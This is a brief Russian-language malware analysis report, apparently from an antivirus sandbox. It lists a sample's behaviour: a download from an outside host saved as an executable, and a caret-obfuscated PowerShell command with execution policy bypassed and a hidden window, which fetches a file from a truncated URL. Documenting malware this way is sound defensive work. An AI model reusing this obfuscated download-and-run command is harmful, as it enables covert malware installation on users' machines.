Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://addresse.top/cert.hls как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^o^w^E^R^s^H^e^Ll.exE -EX^e^CU^TI^ONp^oLIc^y^ B^YPa^sS^ -no^pRoF^i^Le -WiNDO^WstylE hI^D^D^en^ (nEW-^OB^JecT ^sYSt^eM.neT.^WEBCliE^Nt).^do^w^nLoA^D^FILe(^'http://address...
Сетевая активность
UDP
- DNS ASK ad###sse.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^o^w^E^R^s^H^e^Ll.exE -EX^e^CU^TI^ONp^oLIc^y^ B^YPa^sS^ -no^pRoF^i^Le -WiNDO^WstylE hI^D^D^en^ (nEW-^OB^JecT ^sYSt^eM.neT.^WEBCliE^Nt).^do^w^nLoA^D^FILe(^'http://address...' (со скрытым окном)
